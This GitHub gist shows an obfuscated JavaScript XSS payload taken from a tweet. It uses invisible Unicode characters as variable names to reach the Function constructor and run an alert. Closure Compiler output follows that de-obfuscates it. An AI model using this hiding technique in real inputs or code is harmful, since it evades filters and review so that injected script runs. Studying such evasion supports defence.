Created
August 24, 2020 13:41
-
-
Save krk/7d599f009f411cd96ba551626d8bed59 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// As seen in https://twitter.com/XssPayloads/status/1297794089220546560 | |
( [ᅠ,ᅠ︀,ᅠ,ᅠ,ᅠ,ᅠ︁] = [ ] + { } ,[ᅠ︂,ᅠ︃,ᅠ︄,ᅠ︅,ᅠ,ᅠ︆,ᅠ︇,ᅠ︈,ᅠ,ᅠ,ᅠ︉] =[ !!ᅠ︀] + !ᅠ︀+ᅠ︀.ᅠ︀)[ᅠ︁+=ᅠ︀+ᅠ︉+ᅠ︈+ᅠ︂+ᅠ︃+ᅠ︄+ᅠ︁+ᅠ︂+ᅠ︀+ᅠ︃][ᅠ︁](ᅠ︆+ᅠ︇+ᅠ︅+ᅠ︃+ᅠ︂+ '`🙈`' )`` | |
// For the above input, google closure compiler can be massaged to produce: | |
var $jscomp = $jscomp || {}; | |
$jscomp.scope = {}; | |
$jscomp.createTemplateTagFirstArg = function(c) { | |
return c.raw = c; | |
}; | |
$jscomp.createTemplateTagFirstArgWithRaw = function(c, d) { | |
c.raw = d; | |
return c; | |
}; | |
$jscomp.arrayIteratorImpl = function(c) { | |
var d = 0; | |
return function() { | |
return d < c.length ? {done:!1, value:c[d++], } : {done:!0}; | |
}; | |
}; | |
$jscomp.arrayIterator = function(c) { | |
return {next:$jscomp.arrayIteratorImpl(c)}; | |
}; | |
$jscomp.makeIterator = function(c) { | |
var d = "undefined" != typeof Symbol && Symbol.iterator && c[Symbol.iterator]; | |
return d ? d.call(c) : $jscomp.arrayIterator(c); | |
}; | |
var q, r, s, t, u, v, x, y, z, a, b, $jscomp$templatelit$109760136$0 = $jscomp.createTemplateTagFirstArg([""]); | |
(function() { | |
var c = $jscomp.makeIterator("[object Object]"); | |
q = c.next().value; | |
r = c.next().value; | |
q = c.next().value; | |
q = c.next().value; | |
q = c.next().value; | |
s = c.next().value; | |
return "[object Object]"; | |
}(), function() { | |
var c = [!!r] + !r + r.r, d = $jscomp.makeIterator(c); | |
v = d.next().value; | |
t = d.next().value; | |
x = d.next().value; | |
y = d.next().value; | |
q = d.next().value; | |
z = d.next().value; | |
u = d.next().value; | |
a = d.next().value; | |
q = d.next().value; | |
q = d.next().value; | |
b = d.next().value; | |
return c; | |
}())[s += r + b + a + v + t + x + s + v + r + t][s](z + u + y + t + v + "`\ud83d\ude48`")($jscomp$templatelit$109760136$0); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment